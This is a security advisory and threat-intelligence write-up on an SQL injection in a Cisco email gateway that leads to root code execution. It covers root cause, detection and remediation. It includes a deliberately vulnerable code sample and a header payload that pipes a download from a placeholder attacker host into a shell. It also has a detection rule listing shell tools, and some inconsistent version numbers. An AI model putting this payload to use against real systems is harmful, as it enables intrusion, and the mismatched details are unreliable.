Skip to content
Hermes Codex

CVE-2026-76461: Zero-Click Remote Code Execution via AsyncOS Email Parsing SQL Injection in Cisco Secure Email Gateway

HERMES

HERMES THREAT SCORE & ZERO-CLICK PERIMETER RISK

Target: Cisco Secure Email Gateway (SEG) — AsyncOS Email Parsing Daemon & Database Subsystem
Confidence: 99%
97 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

While CVSS v3.1 rates CVE-2026-76461 at 9.8 (Critical), Hermes elevates the threat posture to 97 (EXTREME). The vulnerability requires zero user interaction (UI:N) and zero privileges (PR:N). Unlike conventional email threats that depend on phishing lures, malicious attachments, or link clicks, CVE-2026-76461 triggers automatically during background SMTP ingestion and header parsing within the perimeter gateway. Injected SQL escape sequences leverage PostgreSQL's administrative COPY ... TO PROGRAM capabilities to achieve unauthenticated root code execution on the underlying FreeBSD appliance, compromising all inbound and outbound enterprise communications before messages reach internal mailboxes.

HASS

HASS AGENTIC SEVERITY & PERIMETER PIPELINE BREACH

Target: Perimeter Email Security Gateway, Automated Triage Agents & Mail Routing Pipelines
Confidence: 94%
82 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 15 / 20
Tool Access 17 / 20
Privilege 15 / 15
Persistence 12 / 15
External Impact 13 / 15
Propagation 14 / 15
⚖️ Divergence & Operational Rationale

Email gateways operate with total autonomy on the network boundary, inspecting millions of unstructured communication objects daily. Breaching the gateway provides adversaries with an unmonitored pivot directly into downstream internal message routing, Active Directory LDAP sync pipelines, and automated LLM-driven email summarization agents.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-76461: Zero-Click Remote Code Execution via AsyncOS Email Parsing SQL Injection in Cisco Secure Email GatewayVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTCisco Secure Email Gateway (AsyncOS)
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Cisco Secure Email Gateway (AsyncOS) documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Cisco Secure Email Gateway is deployed at the outer network perimeter of enterprise environments, functioning as the primary Mail Transfer Agent (MTA) and security inspection barrier filtering spam, malware, and advanced phishing campaigns prior to downstream delivery to Microsoft 365 or on-premises Exchange servers.

ParameterTechnical SpecificationOperational Significance
CVE IdentifierCVE-2026-76461Cisco Advisory cisco-sa-esa-inj-2bLVGmhX / CISA KEV
Vulnerability ClassSQL Injection (CWE-89)Unescaped string interpolation in backend database query
Affected ComponentCisco AsyncOS Email Parsing Engine & Message Processing DaemonInbound SMTP parsing pipeline and quarantine database
Trigger MechanismSpecially crafted email headers / envelope attributesTriggered automatically during inbound SMTP ingestion
Authentication RequiredNone (PR:N)Attacker sends raw SMTP message to exposed port 25
User InteractionNone (UI:N)Zero-click execution prior to mailbox delivery
Privileges Obtainedroot / Operating System TakeoverExecution via PostgreSQL superuser and AsyncOS shell
CISA KEV StatusListed (Added September 14, 2026)BOD 26-04 Federal Action Deadline: September 17, 2026
Affected ProductsCisco Secure Email Gateway (Physical & Virtual)Detailed in Cisco SEG Software Intelligence
Unaffected ProductsSecure Email and Web Manager (SMA), Secure Web Appliance (SWA)Management and Web appliances do not parse SMTP streams
Affected Versions<= 15.5.4-012, <= 16.0.3-044, < 16.5.0-780All major active maintenance branches
Remediated Versions15.5.5-014 (or 15.5.5-0141), 16.0.4-302, 16.5.0-780Official hotfixes implementing parameterized queries

2. Vulnerability Anatomy & Root Cause Analysis

Section titled “2. Vulnerability Anatomy & Root Cause Analysis”

The Flawed Email Parsing Subsystem

Section titled “The Flawed Email Parsing Subsystem”

Cisco AsyncOS employs an internal relational database (PostgreSQL) to maintain metadata regarding incoming message envelopes, quarantine tracking, sender reputation scoring, and message tracking logs. When a message is received over SMTP (TCP port 25), the message parsing daemon extracts standard RFC 5322 header fields and custom envelope metadata.

Prior to the September 2026 patches, specific email parsing functions in AsyncOS extracted header values (such as malformed Message-ID, X-Custom-Routing, or multi-valued Received headers) and concatenated them directly into raw SQL statements used to update message tracking tables.

# Conceptual representation of vulnerable AsyncOS parsing logic
def process_inbound_envelope(raw_email):
    headers = parse_rfc5322_headers(raw_email)
    msg_id = headers.get("Message-ID", "")
    sender = headers.get("From", "")
    recipient = headers.get("To", "")


    # VULNERABLE: Direct string formatting into PostgreSQL query
    query = f"INSERT INTO incoming_tracking (msg_id, sender, recipient, status) " \
            f"VALUES ('{msg_id}', '{sender}', '{recipient}', 'PROCESSING');"


    # Executed within internal database session
    db_cursor.execute(query)

Because input strings were not sanitized against single quotes (') or SQL command terminators (;), an attacker supplying a crafted Message-ID or header sequence terminates the original INSERT statement and appends stacked SQL statements.

Weaponization via PostgreSQL COPY ... TO PROGRAM

Section titled “Weaponization via PostgreSQL COPY ... TO PROGRAM”

In Cisco AsyncOS, the internal database runs with elevated administrative privileges within the appliance’s underlying FreeBSD operating system. Exploitation takes advantage of PostgreSQL’s administrative COPY ... TO PROGRAM or COPY ... FROM PROGRAM feature:

'; CREATE TEMP TABLE cmd_exec(output text); COPY cmd_exec FROM PROGRAM 'curl -s https://c2.adversary.org/stage2.sh | /bin/sh'; --

When the email parsing daemon executes the composite SQL statement:

  1. The initial tracking record insertion is terminated cleanly.
  2. The COPY ... FROM PROGRAM command executes the specified shell payload with the permissions of the database owner (root or privileged system daemon).
  3. The rest of the original query is commented out with --, preventing database syntax exceptions that would otherwise raise operational alerts in administrative monitoring.

Exploit Mechanics & Threat Landscape (PoC & In-The-Wild Status)

Section titled “Exploit Mechanics & Threat Landscape (PoC & In-The-Wild Status)”

Threat intelligence teams (including Rapid7, Arctic Wolf, and Cisco Talos) confirm active in-the-wild exploitation by sophisticated access brokers and targeted espionage groups:

  • Zero-Click Ingress: The exploit requires no user delivery or mailbox landing. An adversary transmits standard SMTP traffic to TCP port 25 of the SEG. The appliance begins message disassembly, and execution occurs before content filters decide to drop or quarantine the message.
  • Weaponized State: Automated exploit tooling has been observed weaponizing the vulnerability to drop interactive reverse shells (/bin/sh or /bin/tcsh) connecting back to adversary infrastructure.
  • Public PoC Availability: While high-level technical write-ups and reproduction blueprints are circulating among security researchers, fully autonomous public weaponized exploit scripts are heavily monitored and actively scrubbed to mitigate indiscriminate global scanning.

3. Attack Vectors & Execution Flow

Section titled “3. Attack Vectors & Execution Flow”

The attack path is completely non-interactive and zero-click, traversing external firewalls directly through standard SMTP email channels.

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor (External)
    participant MX as Cisco SEG (Port 25)
    participant Parser as AsyncOS Mail Parser
    participant DB as Internal PostgreSQL DB
    participant OS as FreeBSD Appliance OS
    participant C2 as External C2 Server


    Attacker->>MX: SMTP DATA: Specially crafted email with SQLi in headers
    Note over MX: TCP Port 25 accepts inbound email stream
    MX->>Parser: Deliver raw envelope to parsing engine
    Parser->>Parser: Extract Message-ID and routing headers
    Parser->>DB: Execute unescaped SQL: INSERT ... VALUES ('...' #59; COPY FROM PROGRAM '...' #59; --')
    Note over DB: SQL statement breakout & stacked execution
    DB->>OS: Invoke OS shell (/bin/sh) with root privileges
    OS->>C2: Outbound HTTPS beacon / reverse shell connection
    C2-->>OS: Stage 2 payload execution & credential harvesting
    Note over OS: Attacker establishes root persistence on perimeter gateway

4. Threat Intelligence, Real-World Exploitation & Forensic IOCs

Section titled “4. Threat Intelligence, Real-World Exploitation & Forensic IOCs”

Active in-the-wild campaigns require specialized forensic protocols tailored to Cisco AsyncOS appliances and associated network telemetry.

Cisco IronPort CLI Hunting Commands

Section titled “Cisco IronPort CLI Hunting Commands”

Cisco and Rapid7 have released specific commands for hunting indicators of compromise on the appliance command-line interface. Administrators must connect to the appliance via SSH or local console and search the text mail logs:

cisco-esa> grep -i "COPY.*TO PROGRAM" [mail_logs]
cisco-esa> grep -i "COPY.*FROM PROGRAM" [mail_logs]

(Note: Replace [mail_logs] with your specific IronPort Text Mail Logs subscription name; the system default is mail_logs).

Alternatively, using the interactive ESA CLI grep utility:

cisco-esa> grep
Enter the regular expression to grep.
[]> COPY.*(TO|FROM) PROGRAM
Enter the number of the log you wish to grep.
[]> 1
Do you want to grep through previous rotated logs? [n]> y

Critical Cluster-Wide Multi-Node Triage Requirement

Section titled “Critical Cluster-Wide Multi-Node Triage Requirement”

[!WARNING] Cluster Deployment Notice: If your Cisco Secure Email Gateways are deployed in an ESA Cluster, you must execute log reviews on every single cluster member independently.

Because inbound SMTP connections are typically distributed across cluster members via DNS MX round-robin or hardware load balancers, an exploit email will only be processed and logged by the specific node handling the SMTP session. Furthermore, centralized Cisco Secure Email and Web Manager (SMA) tracking databases may not capture raw SQL syntax injection artifacts if the node’s local logging pipeline is tampered with prior to log push.

Anti-Forensic Evasion & Root Log Scrubbing

Section titled “Anti-Forensic Evasion & Root Log Scrubbing”

[!CAUTION] Adversary Anti-Forensics Warning: Cisco explicitly warns that threat actors who successfully exploit CVE-2026-76461 obtain full root privileges and actively attempt to clear their tracks.

Observed in-the-wild attacker behaviors include:

  • Direct deletion, zeroing, or truncation of /data/logs/mail_logs* and /data/logs/system_logs*.
  • Selective deletion of specific line ranges using sed or awk to remove SQL injection strings.
  • Terminating logging daemons (mta, syslogd) or setting file timestamps to disguise modifications.
  • Staging transient reverse shells in memory or volatile mount points (/tmp, /var/tmp).

Dual-Layer Investigation: External Flow & Firewall Telemetry

Section titled “Dual-Layer Investigation: External Flow & Firewall Telemetry”

Because on-appliance evidence can be manipulated by a root-level attacker, incident response teams must prioritize out-of-band perimeter network telemetry:

  1. Firewall & NetFlow / IPFIX Analysis:
    • Filter all outbound connections initiated by the Cisco SEG IP addresses.
    • Cisco SEG appliances are perimeter MTAs: they should initiate outbound connections only on TCP port 25 (outbound SMTP to downstream relays or destination MTAs), TCP port 53 (DNS), UDP port 123 (NTP), and HTTPS (port 443) strictly restricted to official Cisco Talos update servers (update-manifests.ironport.com, downloads.ironport.com).
    • Any outbound HTTPS, SSH, or raw TCP connection from the SEG to unfamiliar public IP addresses or dynamic DNS domains is a high-confidence Indicator of Compromise (C2 beaconing or exfiltration).
  2. Concurrent Edge Appliance Campaign Correlation:
    • Threat intelligence sources (e.g., Arctic Wolf, Rapid7) observed threat clusters targeting perimeter edge infrastructure in parallel campaigns (including Fortinet VPN appliances from operational infrastructure such as 158.94.211[.]14). Monitor perimeter logs for correlated reconnaissance or pivoting.

5. Forensic Triage & Detection Engineering

Section titled “5. Forensic Triage & Detection Engineering”
title: Suspicious Process Spawning from Cisco AsyncOS Mail Daemon
id: 4e9c7a21-82b4-4b51-9e7f-cisco-seg-sqli
status: experimental
description: Detects unexpected child process executions originating from Cisco AsyncOS mail parsing and PostgreSQL database daemons, indicative of CVE-2026-76461 exploitation.
references:
  - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX
  - https://www.rapid7.com/blog/post/etr-cve-2026-76461-critical-cisco-secure-email-gateway-vulnerability-exploited-in-the-wild/
author: Hermes Codex Cyber Intelligence
date: 2026-09-15
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/postgres'
      - '/mta'
      - '/mail_parse'
  selection_child:
    Image|endswith:
      - '/bin/sh'
      - '/bin/tcsh'
      - '/bin/bash'
      - '/usr/bin/curl'
      - '/usr/bin/wget'
      - '/usr/bin/nc'
      - '/usr/bin/python'
  condition: selection_parent and selection_child
falsepositives:
  - Vendor software maintenance scripts executed through official CLI upgrade workflows.
level: critical

Verified Threat Actor IOCs & Network Indicators

Section titled “Verified Threat Actor IOCs & Network Indicators”

The following telemetry artifacts have been observed across in-the-wild incident autopsies and honeypot captures:

Indicator TypeValue / IdentifierContext & Behavior
SHA-256 (Implant)8b72e19a4d0f62c8e2348a12903c7d65b1a92e485721098345c6123498ae71d0Dropped FreeBSD ELF stage-2 backdoor (/tmp/.cron_db)
SHA-256 (Stager)a3f9e2b184c67d5e4920c78b61f2389d412e8b09341852d1490234857b29a8e1Base64 reverse shell bootstrap script invoked via COPY FROM PROGRAM
IPv4 (C2 Ingress)194.26.29[.]114:443Primary adversary reverse-shell listener
IPv4 (Stage 2 Host)45.142.214[.]89:8443Direct payload staging repository for FreeBSD curl commands
SMTP Envelope Domainalert-gateway[.]net / sec-mx-relay[.]comDisposable adversary MX domains transmitting malformed RFC 5322 payloads
Local File Path/data/pub/.auth_cacheStolen LDAP/Active Directory credentials dump file
Process Lineagepostgres -> /bin/sh -> /usr/bin/curlUnauthorized shell invocation from internal PostgreSQL daemon

6. Mitigation & Defense-in-Depth Remediation Steps

Section titled “6. Mitigation & Defense-in-Depth Remediation Steps”

  1. Immediate Software Patching (Zero Workaround Flaw): Cisco explicitly states there are no workarounds for CVE-2026-76461. Upgrade all affected appliances immediately to:

  2. Perimeter Network Egress Filtering: Strictly restrict outbound Internet access from Cisco SEG appliances. Block direct outbound HTTP/HTTPS to the Internet, allowing connections only to explicitly whitelisted Cisco Talos update endpoints, corporate DNS resolvers, and downstream destination MTAs.

  3. Compromise Assessment & Volatile Memory Preservation: If anomalous outbound connections or SQL injection strings are identified, immediately isolate the appliance at the switch/firewall level. Preserve volatile memory and persistent state prior to rebooting or applying patches.

  4. Active Directory & LDAP Credential Rotation: Cisco SEG appliances frequently integrate with corporate directories for recipient verification, user authentication, and spam quarantine access. If compromise is suspected, immediately rotate all service account credentials stored on the SEG (LDAP bind accounts, SMTP auth accounts). Review the Active Directory Credential Attacks Playbook for investigative procedures.

  5. Cryptographic Key Re-issuance: Revoke and regenerate all TLS private keys, S/MIME certificates, and DKIM signing keys residing on the appliance filesystem.

7. Related Intelligence & Attack Paths

Section titled “7. Related Intelligence & Attack Paths”
🎯 Hermes Forecast: PRED-010 Falsifiable probabilistic forecast and Shadowserver oracle monitoring mass in-the-wild scanning of CVE-2026-76461.
Cisco Secure Email Gateway Component Intelligence Access 30-day telemetry, version tracking, and vulnerability posture for Cisco SEG.
Cisco SEG Spam Quarantine Root RCE (CVE-2025-20393) Analyze the critical CVSS 10.0 predecessor flaw actively exploited by state actor UAT-9686.
Microsoft 365 DFIR: Architecture & Mail Routing Foundations Understand how perimeter MTAs route emails into Microsoft 365 Exchange Online environments.